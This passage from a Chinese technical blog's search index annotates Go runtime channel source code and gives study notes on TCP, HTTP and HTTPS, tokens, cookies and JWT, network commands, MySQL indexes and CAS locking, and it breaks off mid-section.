arrived between the empty and closed checks above. // Sequential consistency is also required here, when racing with such a send. // 通道已经不可逆地关闭。重新检查通道是否有任何待接收的数据 // 这些数据可能在上面的空和关闭检查之间到达。 // 当与这样的发送操作竞争时，这里也需要顺序一致性。 if empty(c) { // The channel is irreversibly closed and empty. if raceenabled { raceacquire(c.raceaddr()) } if ep != nil { typedmemclr(c.elemtype, ep) } return true, false } } 初始化和性能监控 如果 blockprofilerate 大于 0，获取当前的 CPU 时间戳 t0 以用于后续的性能分析。 锁定通道 锁定通道 c 的互斥锁。 var t0 int64 if blockprofilerate \u0026gt; 0 { t0 = cputicks() } lock(\u0026amp;c.lock) 如果通道已关闭，检查有无等待的数据和发送者 如果通道已关闭且没有等待的数据： 如果启用了竞态检测，通知竞态检测器通道已关闭。 解锁通道。 如果 ep 不为 nil，清空 ep 指向的内存。 返回 true, false 表示成功接收，但通道已关闭。 否则，如果通道未关闭并且有等待的发送者： 从发送队列中获取一个等待的发送者。 调用 recv 函数处理接收操作并解锁通道。 返回 true, true 表示成功接收并且通道未关闭。 if c.closed != 0 { if c.qcount == 0 { if raceenabled { raceacquire(c.raceaddr()) } unlock(\u0026amp;c.lock) if ep != nil { typedmemclr(c.elemtype, ep) } return true, false } // 通道已关闭，但缓冲区中有数据。 } else { // 发现未关闭的等待发送者。 if sg := c.sendq.dequeue(); sg != nil { // 找到等待的发送者。如果缓冲区大小为0，则直接从发送者接收值。 // 否则，从队列头部接收值，并将发送者的值添加到队列尾部（因为队列已满，两者映射到同一缓冲区槽位）。 recv(c, sg, ep, func() { unlock(\u0026amp;c.lock) }, 3) return true, true } } 如果缓冲区不为空，接收缓冲区数据 如果缓冲区中有数据： 从缓冲区中接收数据到 ep。 清空缓冲区中的数据。 更新接收索引 recvx，如果超过缓冲区大小，重置为 0。 减少缓冲区中的数据计数 qcount。 解锁通道。 返回 true, true 表示成功接收并且通道未关闭。 if c.qcount \u0026gt; 0 { // 直接从队列接收 qp := chanbuf(c, c.recvx) if raceenabled { racenotify(c, c.recvx, nil) } if ep != nil { typedmemmove(c.elemtype, ep, qp) } typedmemclr(c.elemtype, qp) c.recvx++ if c.recvx == c.dataqsiz { c.recvx = 0 } c.qcount-- unlock(\u0026amp;c.lock) return true, true } 如果是非阻塞，处理非阻塞接收 如果 block 为 false，解锁通道并返回 false, false 表示没有数据可接收且不阻塞。 if !block { unlock(\u0026amp;c.lock) return false, false } 阻塞等待发送者 获取当前 Goroutine。 获取一个 sudog（表示 Goroutine 的结构体）并初始化。 将 ep 指向的内存地址赋值给 sudog。 将当前 Goroutine 设置为等待状态，并将 sudog 加入通道的接收队列。 如果通道有定时器，阻塞定时器。 将 Goroutine 设置为即将阻塞在通道上，调用 gopark 进行阻塞。 // 没有可用的发送者：在此通道上阻塞。 gp := getg() mysg := acquireSudog() mysg.releasetime = 0 if t0 != 0 { mysg.releasetime = -1 } // 在分配元素和将mysg入队到gp.waiting之间没有栈分割 // 这样copystack可以在那里找到它。 mysg.elem = ep mysg.waitlink = nil gp.waiting = mysg mysg.g = gp mysg.isSelect = false mysg.c = c gp.param = nil c.recvq.enqueue(mysg) if c.timer != nil { blockTimerChan(c) } // 向任何试图缩小我们的栈的人发出信号，表明我们即将在通道上停车。 // 在这个G的状态改变和我们设置gp.activeStackChans之间的窗口 // 对于栈缩小是不安全的。 gp.parkingOnChan.Store(true) gopark(chanparkcommit, unsafe.Pointer(\u0026amp;c.lock), waitReasonChanReceive, traceBlockChanRecv, 2) 处理唤醒后的操作 检查 sudog 是否仍在等待列表中，如果不在，抛出异常。 处理定时器解锁。 将 Goroutine 从等待状态中移除，标记为不再阻塞。 处理释放时间。 返回 true 和 sudog 的成功标志。 // someone woke us up if mysg != gp.waiting { throw(\u0026#34;G waiting list is corrupted\u0026#34;) } if c.timer != nil { unblockTimerChan(c) } gp.waiting = nil gp.activeStackChans = false if mysg.releasetime \u0026gt; 0 { blockevent(mysg.releasetime-t0, 2) } success := mysg.success gp.param = nil mysg.c = nil releaseSudog(mysg) return true, success } recv // recv processes a receive operation on a full channel c. // There are 2 parts: // 1. The value sent by the sender sg is put into the channel // and the sender is woken up to go on its merry way. // 2. The value received by the receiver (the current G) is // written to ep. // recv处理在满通道c上的接收操作。 // 有两个部分： // 1. 发送者sg发送的值被放入通道，发送者被唤醒继续其愉快的旅程。 // 2. 接收者（当前G）接收的值被写入ep。 // // For synchronous channels, both values are the same. // For asynchronous channels, the receiver gets its data from // the channel buffer and the sender\u0026#39;s data is put in the // channel buffer. // Channel c must be full and locked. recv unlocks c with unlockf. // sg must already be dequeued from c. // A non-nil ep must point to the heap or the caller\u0026#39;s stack. // 对于同步通道，两个值是相同的。 // 对于异步通道，接收者从通道缓冲区获取数据，而发送者的数据被放入通道缓冲区。 // 通道c必须是满的且已锁定。recv通过unlockf解锁c。 // sg必须已经从c中出队。 // 非nil的ep必须指向堆或调用者的栈。 是非缓冲通道？ 如果是非缓冲通道，执行以下步骤：\n如果启用了竞态检测（raceenabled），则调用 racesync(c, sg) 来同步数据。\n如果 ep 不为 nil，则直接从发送者 sg 复制数据到 ep，调用 recvDirect(c.elemtype, sg, ep)。\n// recv的函数签名接收参数：一个接收数据的通道c，sg表示等待在通道上的发送数据的 goroutine，ep表示接收数据写入的地址 // unlock:在接收操作完成后解锁通道; skip:控制某些内部操作的跳过次数 func recv(c *hchan, sg *sudog, ep unsafe.Pointer, unlockf func(), skip int) { // 如果是非缓冲通道 if c.dataqsiz == 0 { if raceenabled { racesync(c, sg) } if ep != nil { // copy data from sender recvDirect(c.elemtype, sg, ep) } recvDirect 是Go语言运行时系统的一部分，用于在非缓冲通道上直接从发送者复制数据到接收者\nfunc recvDirect(t *_type, sg *sudog, dst unsafe.Pointer) { // dst is on our stack or the heap, src is on another stack. // The channel is locked, so src will not move during this // operation. src := sg.elem typeBitsBulkBarrier(t, uintptr(dst), uintptr(src), t.Size_) memmove(dst, src, t.Size_) } 是缓冲通道 如果通道是缓冲通道（即 c.dataqsiz \u0026gt; 0），执行以下步骤：\n获取队列中当前接收位置 c.recvx 的元素 qp，调用 chanbuf(c, c.recvx)。\n如果启用了竞态检测，则调用 racenotify 来通知竞态检测器。\n如果 ep 不为 nil，则从队列 qp 复制数据到接收者 ep，调用 typedmemmove(c.elemtype, ep, qp)。\n从发送者 sg 复制数据到队列 qp，调用 typedmemmove(c.elemtype, qp, sg.elem)。\n更新接收位置 c.recvx，如果它等于缓冲区大小 c.dataqsiz，则将其重置为0，以循环使用缓冲区。\n更新发送位置 c.sendx，使其等于接收位置 c.recvx，因为队列是满的，发送者和接收者指向同一位置。\n} else { // Queue is full. Take the item at the // head of the queue. Make the sender enqueue // its item at the tail of the queue. Since the // queue is full, those are both the same slot. qp := chanbuf(c, c.recvx) if raceenabled { racenotify(c, c.recvx, nil) racenotify(c, c.recvx, sg) } // copy data from queue to receiver if ep != nil { typedmemmove(c.elemtype, ep, qp) } // copy data from sender to queue typedmemmove(c.elemtype, qp, sg.elem) c.recvx++ if c.recvx == c.dataqsiz { c.recvx = 0 } c.sendx = c.recvx // c.sendx = (c.sendx+1) % c.dataqsiz } 处理后续 将发送者 sg 的 elem 字段设置为 nil，表示发送者不再持有数据。\n获取发送者 sg 对应的 goroutine gp。\n调用 unlockf() 函数来解锁通道 c，这个函数是在外部传递进来的，用于在接收操作完成后释放通道锁。\n将 gp.param 设置为指向 sg 的 unsafe.Pointer，这通常用于在唤醒 goroutine 时传递参数。\n将 sg.success 设置为 true，表示发送操作成功。\n如果 sg.releasetime 不为0，则将其设置为当前的 CPU 滴答数 cputicks()，这可能用于性能分析。\n调用 goready(gp, skip+1) 来唤醒发送者 sg 对应的 goroutine gp，使其准备好运行，skip+1 参数可能用于控制调度。\nsg.elem = nil gp := sg.g unlockf() gp.param = unsafe.Pointer(sg) sg.success = true if sg.releasetime != 0 { sg.releasetime = cputicks() } goready(gp, skip+1) } closechan 调用场景 关闭通道通过close(ch)实现，在汇编代码中可以看到是调用了runtime.closechan()这个函数\n实现代码和解读 closechan 检查通道是否为空 func closechan(c *hchan) { if c == nil { panic(plainError(\u0026#34;close of nil channel\u0026#34;)) // 检查通道是否为空，如果为空则抛出异常 } channel加锁，检查是否已经被关闭 lock(\u0026amp;c.lock) // 锁定通道 if c.closed != 0 { unlock(\u0026amp;c.lock) panic(plainError(\u0026#34;close of closed channel\u0026#34;)) // 检查通道是否已经关闭，如果已关闭则抛出异常 } 竞态检测相关操作 if raceenabled { callerpc := getcallerpc() racewritepc(c.raceaddr(), callerpc, abi.FuncPCABIInternal(closechan)) // 记录当前调用者的程序计数器 racerelease(c.raceaddr()) // 进行相关竞态检测操作 } 标记为通道已关闭 c.closed = 1 // 标记通道为已关闭 释放所有等待接收的G var glist gList // 释放所有等待接收的 Goroutine for { sg := c.recvq.dequeue() if sg == nil { break } if sg.elem != nil { typedmemclr(c.elemtype, sg.elem) // 清空接收的元素 sg.elem = nil } if sg.releasetime != 0 { sg.releasetime = cputicks() // 记录释放时间 } gp := sg.g gp.param = unsafe.Pointer(sg) sg.success = false if raceenabled { raceacquireg(gp, c.raceaddr()) // 竞态检测 } glist.push(gp) // 将 Goroutine 加入列表 } 释放所有等待发送的G // 释放所有等待发送的 Goroutine（它们将会 panic） for { sg := c.sendq.dequeue() if sg == nil { break } sg.elem = nil if sg.releasetime != 0 { sg.releasetime = cputicks() // 记录释放时间 } gp := sg.g gp.param = unsafe.Pointer(sg) sg.success = false if raceenabled { raceacquireg(gp, c.raceaddr()) // 竞态检测 } glist.push(gp) // 将 Goroutine 加入列表 } unlock(\u0026amp;c.lock) // 解锁通道 释放通道锁，唤醒所有G // 现在已经释放了通道锁，唤醒所有 Goroutine for !glist.empty() { gp := glist.pop() gp.schedlink = 0 goready(gp, 3) // 唤醒 Goroutine } } ","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/go/go-channel/","summary":"channel的简单使用 在Go语言中，通道（channel）是一种用于在goroutine之间进行通信和同步的机制。下面是一些简单的通道使用示例，以及它们对应的底层函数调用。\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; ) func main() { ch := make(chan int) // 创建通道 go func() { ch \u0026lt;- 42 // 发送数据到通道 }() go func() { value := \u0026lt;-ch // 从通道接收数据 fmt.Println(\u0026#34;Received:\u0026#34;, value) }() time.Sleep(1 * time.Second) // 等待goroutine完成 close(ch) // 关闭通道 } 底层函数调用 创建通道：\nch := make(chan int) 底层调用：\nmakechan(elemtype, size) 发送数据到通道：\nch \u0026lt;- 42 底层调用：\nchansend(c *hchan, ep unsafe.Pointer, block bool, callerpc uintptr) bool 从通道接收数据：","title":"【go的源码阅读】channel的实现：chan.go"},{"content":"计算机网络 TCP TCP为什么要进行三次握手？ 三次握手是建立网络连接的过程，确保双方能够正确地进行数据传输。\n第一次握手SYN：客户端向服务端发送SYN请求同步信号，并初始化客户端序列号；\n第二次握手SYN+ACK：服务端收到了客户端发送的SYN信号后回复ACK确认收到，同时也发送SYN，指定自己的初始序列号；\n第三次握手ACK：客户端收到服务端的ACK+SYN后，回复一个ACK，表示已经收到服务端的ACK+SYN。这个包的序列会加一，表示客户端已经准备好和服务端进行数据传输了。\n为什么是三次握手？不是两次或者四次 原因1：阻止重复的历史连接初始化\n如果是两次握手的话，因网络堵塞的问题，客户端发送了两次SYN给服务端，服务端收到了第一个SYN的时候，就回复SYN+ACK给客户端，并进入了ESTABLISHED状态。而客户端这边收到了服务端旧的ACK+SYN，会认为这是历史连接从而发送RST报文，使服务端断开连接。\n原因2：同步双方的序列号\nTCP协议的双方都必须要维护一个序列号。两次握手只能保证一方的序列号被接收。\n原因3：避免资源浪费\n如果是两次握手，那么服务端在收到SYN后回复ACK的时候就要主动建立连接，要是网络堵塞，对面发了好多个SYN来，那完蛋了，建立了好多个TCP连接，造成了资源浪费。\nTCP的四次挥手 四次挥手是指在TCP断开连接的过程中发生的，一般是由客户端发起，服务端完成最后的断开。\n因为TCP是全双工通信，所以需要两边都要通知对方停止数据传输，故需要四次挥手保证断开连接。\n具体流程：（刚开始双方都处于ESTABLISHED状态）\n1.客户端向服务端发起FIN报文，表示客户端不再发送数据；（客户端进入FIN_WAIT_1中状态）\n2.服务端收到FIN报文后，回复一个ACK表示收到；（服务端进入CLOSED_WAIT状态，客户端收到ACK后进入FIN_WAIT_2状态）\n3.服务端向客户端发起FIIN报文，表示服务端也不再发送数据；（服务端进入LAST_ACK状态）\n4.客户端收到服务端的FIN报文后，也回复一个ACK。（客户端进入TIME_WAIT状态）\n发送端在最后会进入到TIME_WAIT的状态，\n为什么有TIME_WAIT状态？ 原因1：保证历史连接中的数据不会干扰下一次连接。\n原因2：保证被动关闭连接。如果服务端没有TIME_WAIT状态直接close的话，要是服务端没有收到客户端最后一次发送的ACK会重发FIN，如果服务器已经处于CLOSE状态，就会返回RST报文，RST报文会被服务端认定为错误。\n为什么TIME_WAIT的时间是2MSL？ MSL是报文的最大生存时间，超过这个时间的报文都会被丢弃。两个MSL时间可以保证客户端发送的ACK报文可以到达服务端+服务端要是在第一个MSL中没有收到ACK可以重发一次FIN到客户端，并保证能够到达客户端。\nHTTP GET方法和POST方法有什么区别？ 用途：GET方法一般用于请求服务器上的数据；POST方法用于向服务器提交数据。\n请求参数：GET方法的请求参数一般放在URL中，POST的请求参数一般放在请求体中。\n幂等：多次执行相同的操作，结果都相同。\n幂等行：GET方法是安全幂等的，POST不是幂等的。\n缓存机制：GET请求会被浏览器主动cache，如果下一次传输的数据相同，就会返回浏览器中的内容；而POST不会。\nGET的请求参数会被保存在浏览器的历史记录中，而POST中的参数不会保留\n时间消耗：GET产生一个TCP数据包，浏览器会把header和data一起发送出去，服务器相应200；\nPOST产生两个TCP数据包，浏览器先发送hader，服务器相应100（继续发送），浏览器再发送data，服务器相应200\n什么情况下会使用POST读取数据？ 当查询的数据量很多，GET方式的URL太长太大，GET方式大概是4KB，POST上限是8MB 当对数据的安全性有更高要求的时候，可以在POST的请求体中对数据进行加密 HTTP版本对比 HTTP/0.9 只支持GET方法 HTTP/1.0 支持多种请求方式 引入了请求头和响应头 引入状态码 不支持长连接\nHTTP/1.1 支持长连接 管道网络传输（可以同时发送A、B请求，不必等待A响应） 但是管道网络传输存在队头阻塞的问题\n头部冗余\n没有请求优先级\n请求只能通过客户端推送，服务器不能主动推送\nHTTP/2 使用HPACK进行头部压缩 把数据部分压缩成头信息帧和数据帧 并发传输：引入了stream的概念，多个Stream复用一条TCP连接，通过streamID识别，不同stream的帧可以乱序发送 支持服务器推送 HTTPS 和HTTP对比 优点\n安全性更高\n缺点\nHTTPS涉及到了加解密的过程，所以对服务器的负荷会高一些；\n握手阶段的延迟比较高，因为还有SSL/TLS握手;\n加密过程 HTTPS采用了对称加密+非对称加密的混合加密模式\n在通信建立之前，使用非对称加密交换会话密钥；\n通信建立之后，使用会话密钥实现对称加密，进行消息传递\n具体流程\n客户端向服务端发送ClientHello 服务器生成一对公私钥，并把公钥注册到CA，得到数字证书 服务器对客户端响应ServerHello，并把数字证书传给客户端 客户端使用浏览器中内置的CA公钥对数字证书进行验证 可信后取出数字证书中的服务器公钥，随机生成一个随机数，并把他用公钥进行加密，并传递给服务端 服务端使用服务端私钥进行解密，得到随机数 客户端和服务端使用这个随机数（会话密钥）进行通信 密码学相关知识复习 摘要算法和数字签名 摘要算法可以保证内容没有被篡改；数字签名可以保证发送者身份。\n数字签名使用非对称加密，发送方使用私钥对摘要进行加密。接收方使用公钥对加密的摘要进行解密，若能使用公钥解开说明发送者身份正确。并将其与文件的摘要进行比较，若一致，说明文件没有被篡改。\n数字证书 技术来源：在上述的数字签名的算法中，接收方是用到了公钥对加密摘要进行解密，而这把公钥有可能会遭遇中间人攻击被替换。这就是数字证书的起源。\n实现过程\n服务端生成的一堆密钥，把服务端密钥给CA，CA用CA私钥加密服务端公钥得到数字签名和数字证书； 服务端把数字证书（包含服务端公钥）+CA数字签名给客户端； 客户端的浏览器（内置CA公钥），对CA数字签名进行验证，说明服务器公钥可信； 客户端使用服务器公钥加密数据文件发送给服务器； 服务器再用他的私钥进行文件解密。 证书信任链 证书信任链是验证数字证书过程的一部分。\n客户端会从服务器证书-中间证书-根CA证书依次验证，若中间有一环出现了问题，那么这个数字证书就是不可信的。\nToken和Cookie的选择 在Web应用程序中，Token和Cookie都是用于用户鉴权和会话管理的常用机制。选择Token还是Cookie取决于具体的应用场景和需求。\nToken Token 通常用于现代Web应用程序，特别是在单页应用（SPA）和移动应用中。常见的Token类型包括JWT（JSON Web Token）。\n优点：\n无状态性：Token是无状态的，服务端不需要存储会话数据，便于扩展。 跨域支持：Token可以通过HTTP头传输，支持跨域请求。 移动友好：适用于移动应用和API调用。 缺点：\n安全性：如果Token泄露，可能会导致安全风险，通常需要实现Token的过期和刷新机制。 复杂性：实现Token管理和安全机制需要更多的开发工作。 示例：\n用户登录后，服务端生成一个JWT并返回给客户端。 客户端将Token存储在本地存储（LocalStorage）或会话存储（SessionStorage）中。 每次请求时，客户端将Token添加到HTTP头中进行验证。 // 发送带有Token的请求 fetch(\u0026#39;https://api.example.com/protected\u0026#39;, { method: \u0026#39;GET\u0026#39;, headers: { \u0026#39;Authorization\u0026#39;: \u0026#39;Bearer \u0026#39; + token } }) .then(response =\u0026gt; response.json()) .then(data =\u0026gt; console.log(data)); Cookie Cookie 是传统的会话管理机制，主要用于Web浏览器中存储和传输会话信息。\n优点：\n简单易用：浏览器原生支持，使用简单，适用于大多数Web应用。 安全控制：可以通过设置HttpOnly、Secure、SameSite等属性来提高安全性。 持久性：可以设置过期时间，使其在会话结束后继续存在。 缺点：\n跨域限制：默认情况下，Cookie在跨域请求中有一定限制。 服务器负担：服务器需要存储会话数据，可能增加负担。 示例：\n用户登录后，服务端生成一个Session ID并存储在服务器上，同时将Session ID作为Cookie返回给客户端。 每次请求时，浏览器会自动携带Cookie进行验证。 // 使用浏览器自动发送Cookie的请求 fetch(\u0026#39;https://api.example.com/protected\u0026#39;, { method: \u0026#39;GET\u0026#39;, credentials: \u0026#39;include\u0026#39; }) .then(response =\u0026gt; response.json()) .then(data =\u0026gt; console.log(data)); 用户鉴权 用户鉴权是确保用户身份合法的过程。常见的用户鉴权机制包括：\n1. 基于Session的鉴权 Session ID存储在服务器和客户端的Cookie中，用户登录后，服务器生成一个Session ID并返回给客户端，客户端在后续请求中携带这个Session ID进行身份验证。\n实现步骤：\n用户登录，服务器生成Session ID并存储在服务器的Session存储中。 服务器将Session ID作为Cookie返回给客户端。 客户端在后续请求中自动携带Cookie。 服务器根据Session ID验证用户身份。 2. 基于Token的鉴权 Token通常使用JWT实现，用户登录后，服务器生成一个Token并返回给客户端，客户端在后续请求中携带这个Token进行身份验证。\n实现步骤：\n用户登录，服务器生成JWT并返回给客户端。 客户端将JWT存储在LocalStorage或SessionStorage中。 客户端在后续请求中将JWT添加到HTTP头中。 服务器验证JWT的有效性和合法性。 3. OAuth鉴权 OAuth是一种开放的授权标准，允许用户授权第三方应用访问其资源而无需暴露密码。常用于社交登录、第三方API访问等场景。\n实现步骤：\n用户在第三方应用中登录，第三方应用请求OAuth授权码。 用户授权，第三方应用获取授权码。 第三方应用使用授权码向OAuth服务器请求Token。 OAuth服务器返回Token，第三方应用使用Token访问受保护资源。 选择Token还是Cookie 选择Token还是Cookie取决于具体的应用场景和需求：\n单页应用（SPA）和移动应用：通常使用Token（如JWT）进行鉴权，因其无状态性和跨域支持。 传统Web应用：通常使用Cookie和Session进行鉴权，因其简单易用和浏览器原生支持。 需要跨域请求：Token更为合适，因其可以通过HTTP头传输，支持跨域请求。 需要更高的安全控制：Cookie可以设置HttpOnly、Secure等属性，提高安全性。 综合考虑应用的架构、需求和安全性，选择合适的鉴权机制，可以确保用户身份验证的安全性和有效性。\nJWT（JSON Web Token）简介 JWT（JSON Web Token） 是一种基于JSON的开放标准（RFC 7519），用于在各方之间作为JSON对象安全地传输信息。它广泛应用于认证和授权机制中，尤其在Web应用、单页应用（SPA）、移动应用和微服务架构中。\nJWT的结构 JWT由三部分组成，分别用点（.）分隔：\nHeader（头部）\nPayload（负载）\nSignature（签名）\nHeader\nHeader包含两部分信息：类型和签名算法。\n{ \u0026#34;alg\u0026#34;: \u0026#34;HS256\u0026#34;, \u0026#34;typ\u0026#34;: \u0026#34;JWT\u0026#34; } alg：签名的算法，如HMAC SHA256 (HS256)、RSA (RS256)等。 typ：令牌的类型，这里固定为JWT。 Payload Payload包含声明（claims），即传输的数据。声明有三类：\nRegistered claims（注册声明）：预定义的标准声明，如iss（签发者）、exp（过期时间）、sub（主题）等。 Public claims（公共声明）：可以自由定义，但需要避免冲突，可以使用JWT标准注册的命名空间。 Private claims（私有声明）：自定义的声明，通常用于应用内信息的传输。 示例：\n{ \u0026#34;sub\u0026#34;: \u0026#34;1234567890\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;John Doe\u0026#34;, \u0026#34;admin\u0026#34;: true } Signature Signature用于验证消息的真实性和数据完整性，防止被篡改。签名的生成步骤：\n使用Base64Url编码对Header和Payload进行编码。 将编码后的Header和Payload用点（.）连接。 使用Header中指定的签名算法和密钥对连接后的字符串进行签名。 HMACSHA256( base64UrlEncode(header) + \u0026#34;.\u0026#34; + base64UrlEncode(payload), secret ) JWT的工作原理 JWT通常用于认证和授权流程中，典型的使用方式如下：\n用户登录： 用户通过登录接口提交用户名和密码。 服务器验证用户凭据，如果正确，生成JWT并返回给客户端。 客户端存储JWT： 客户端（如浏览器或移动应用）将JWT存储在LocalStorage、SessionStorage或Cookie中。 请求受保护资源： 客户端在每次请求受保护的资源时，将JWT添加到HTTP头部的Authorization字段中。 服务器接收到请求后，验证JWT的有效性和合法性。 如果JWT有效，服务器处理请求并返回响应；否则返回401未授权错误。 示例：\nAuthorization: Bearer \u0026lt;token\u0026gt; JWT的优点 无状态性：服务器不需要存储会话数据，所有必要的信息都包含在Token中。 灵活性：可以在任何编程语言中生成和验证JWT。 安全性：通过签名确保Token的真实性和数据完整性。 便于扩展：Payload部分可以包含任何类型的声明，便于携带用户信息。 JWT的缺点 Token过大：由于包含了头部、负载和签名，Token较大，传输和存储开销较高。 过期管理：需要妥善管理Token的过期时间和刷新机制，防止长期有效的Token被滥用。 不易撤销：一旦签发，Token在有效期内一直有效，除非设计额外的机制来使其失效。 示例代码 以下是一个简单的JWT生成和验证示例，使用Node.js和jsonwebtoken库：\n生成JWT：\nconst jwt = require(\u0026#39;jsonwebtoken\u0026#39;); const payload = { sub: \u0026#39;1234567890\u0026#39;, name: \u0026#39;John Doe\u0026#39;, admin: true }; const secret = \u0026#39;your-256-bit-secret\u0026#39;; const token = jwt.sign(payload, secret, { algorithm: \u0026#39;HS256\u0026#39;, expiresIn: \u0026#39;1h\u0026#39; }); console.log(token); 验证JWT：\nconst jwt = require(\u0026#39;jsonwebtoken\u0026#39;); const token = \u0026#39;your.jwt.token.here\u0026#39;; const secret = \u0026#39;your-256-bit-secret\u0026#39;; try { const decoded = jwt.verify(token, secret); console.log(decoded); } catch (err) { console.error(\u0026#39;Invalid token\u0026#39;, err); } 总结 JWT是一种轻量级、无状态的认证机制，广泛用于Web应用和API中。它通过签名保证了数据的完整性和真实性，但也需要妥善管理Token的生命周期和安全性，以确保系统的整体安全。\n网络相关的命令 netstat 和 ss 是两个用于查看网络连接信息的命令工具。下面是这两个命令的介绍及常用参数：\nnetstat 命令 netstat 是一个用于显示网络连接、路由表、接口统计信息、伪装连接以及多播成员的命令行工具。\n常用参数：\n-a：显示所有连接和监听端口。 -t：显示TCP协议的连接。 -u：显示UDP协议的连接。 -n：以数字形式显示地址和端口号。 -p：显示使用网络连接的程序PID和名称（需要root权限）。 -l：仅显示监听的套接字。 -r：显示路由表。 -s：显示每个协议的统计信息。 -i：显示网络接口的状态。 -c：每隔一段时间重复执行命令。 示例：\nnetstat -an # 显示所有连接和监听端口，以数字形式表示 netstat -tuln # 显示所有监听的TCP和UDP连接 netstat -p # 显示使用网络连接的程序PID和名称（需要root权限） netstat -r # 显示路由表 ss 命令 ss 是一个更快、更详细的工具，用于显示网络套接字统计信息。它是 netstat 的替代品。\n常用参数：\n-t：显示TCP套接字。 -u：显示UDP套接字。 -l：仅显示监听的套接字。 -a：显示所有套接字（包括监听和非监听）。 -n：以数字形式显示地址和端口号。 -p：显示使用网络连接的程序（需要root权限）。 -r：显示路由信息。 -s：显示套接字统计信息。 -o：显示计时器信息。 -k：显示内核TCP套接字（需要root权限）。 示例：\nss -an # 显示所有套接字，以数字形式表示 ss -tuln # 显示所有监听的TCP和UDP连接 ss -p # 显示使用网络连接的程序（需要root权限） ss -s # 显示套接字统计信息 ss -o state time-wait # 显示处于TIME_WAIT状态的连接 这些命令和参数能够帮助你详细了解系统的网络连接状态，并对网络问题进行排查和诊断。\n数据库 MySQL 索引的种类 按照数据结构分类：B+树索引、Hash索引、Full-text索引、有序数组\n哈希表\n使用key-value存储数据，适用于做等值查找，插入数据的时候无需维护顺序，效率高。\n缺点在不适合做区间查找，因为hash表是无序的。\n有序数组\n等值查询和区间查询性能都很优秀，但是不适合做频繁的增删差改的场景。\n等值查询使用二分查找，时间复杂度O(logn)；区间查找先使用二分查找找到左边界，然后再向右扫描，直到大于右边界。\n二叉搜索树BST, Balence Search Tree\n保留了有序数组查询性能好的优点，也解决了“有序数组”不适合增删差改的缺点\n查询的时间复杂度：O(logn)，维护平衡的时间复杂度：O(logn)\nn叉树\n通过使用n叉树降低树的高度，从而减少磁盘IO次数，提高效率\n按照物理存储分类：聚簇索引（主键索引）、二级索引（辅助索引）\n聚簇索引的叶子节点存放的是实际的数据，所有完整的用户记录都存放在聚簇索引的B+树的叶子节点中；\n二级索引的B+树叶子节点存放的是主键值；\n主键查询：直接在主键索引所在的B+树中查询，直接返回查询到的叶子节点；\n二级索引查询：首先现在普通索引所在的B+树中查询，查询到带查询记录的主键，然后回表，执行主键查询。\n因为二级索引多了一个回表操作，所以尽量只用主键查询。\n优化：覆盖索引：在二级索引的B+树中能直接查询到结果的过程\n按照数据字段分类：主键索引、唯一索引、普通索引、前缀索引\n主键索引：建立在主键字段上的索引，一张表上最多只有一个主键索引，不允许有空值\n唯一索引：建立在UNIQUE字段上的索引，一张表中可以有多个唯一索引，索引列的值必须唯一，但是允许有空值\n普通索引：建立在普通字段上的索引\n前缀索引：对于字符串类型的索引，索引建立在字符串前几个字符上，而不必以整个字符串为索引，能够有效降低索引的大小，适用于较长列值的情况\n按照字段个数分类：单列索引、联合索引\n单列索引：建立在单列上的索引，比如主键索引\n联合索引：有多个列组合而成的索引，这适用于多列的查询条件\n什么是最左匹配原则？ 使用联合索引的时候存在最左匹配原则，也就是最左优先的方式进行索引的匹配。\n最左匹配原则要求从索引的最左边的列开始，并且不能跳过中间的列。如果查询条件没有按照索引的顺序进行匹配，则索引可能失效。\n比如一个索引是(A,B,C)，在查询的时候where子句中包含A=\u0026hellip;就可以用这个索引啦；包含A=\u0026hellip; B=\u0026hellip; 也可以用。但是只有B=\u0026hellip;就无法使用这个联合索引。\n关于范围查询 最左匹配遇到范围查询的时候（age\u0026gt;10这种）就会停止匹配，范围查询的字段可以使用联合索引，但是范围查询的字段后面无法用到联合索引。\n为什么是最左而不是最右？ 因为MySQL的索引底部是使用B+树，B+树中的结构是从左到右依次有序。\n什么是索引下推？ 索引下推讲白了就是在有多个条件的时候，在先筛选条件的时候就把条件加上，减少选中的行。\n一个例子：select * from emp where ename=\u0026lsquo;xxx\u0026rsquo; and job=\u0026lsquo;xxx\u0026rsquo;;\n在低版本的mysql中，会先取到匹配的ename和所有的job，然后在server层针对job进行一次过滤。\n在高版本的mysql中，取ename匹配时，索引下推同时了过滤了job。这样减少了server的操作，\n什么是覆盖索引？ 覆盖索引是指从索引B+树中直接返回数据，而无需进行回表操作。比如又一个索引是idx_key1_key2(key1,key2)，在执行Select key1 from table where key1=\u0026lsquo;xxx\u0026rsquo;;的时候就可以直接从索引树中返回结果。\n但是有两种情况是不能使用覆盖索引的：\n1.不满足最左匹配原则\n2.SQL查询的字段不属于联合索引\n锁 乐观锁的CAS（Compare-And-Swap） CAS（Compare-And-Swap） 是一种无锁的原子操作，用于实现乐观锁机制。它的基本原理是通过比较和交换来实现数据的一致性。\nCAS操作步骤：\n读取内存位置的当前值（V）。 比较内存位置的当前值（V）是否等于预期值（E）。 如果相等，则将内存位置的值更新为新值（N）。 如果不相等，则表示数据已被其他线程修改，操作失败。 伪代码示例：\npublic class CASExample { private AtomicInteger value = new AtomicInteger(0); public void increment() { int oldValue; int newValue; do { oldValue = value.get(); newValue = oldValue + 1; } while (!value.compareAndSet(oldValue, newValue)); } } 在上述示例中，compareAndSet方法通过CAS操作保证了在多线程环境下的原子性和一致性。\nCAS的优缺点：\n优点： 无锁操作，避免了线程阻塞，性能较高。 缺点： 可能导致ABA问题，即一个值在被比较前后虽然发生了变化，但最终回到了原值，CAS无法检测到这种情况。为了解决ABA问题，可以引入版本号。 ABA问题的解决： 可以使用AtomicStampedReference类，通过版本号来标记每次更新，从而解决ABA问题。\npublic class ABAExample { private AtomicStampedReference\u0026lt;Integer\u0026gt; value = new AtomicStampedReference\u0026lt;\u0026gt;(0, 0); public void increment() { int[] stampHolder = new int[1]; int oldValue; int newValue; int oldStamp; do { oldValue = value.get(stampHolder); oldStamp = stampHolder[0]; newValue = oldValue + 1; } while (!value.compareAndSet(oldValue, newValue, oldStamp, oldStamp + 1)); } } 事务 事务的特性 ACID atomicity原子性：要么做，要么不做，通过undo 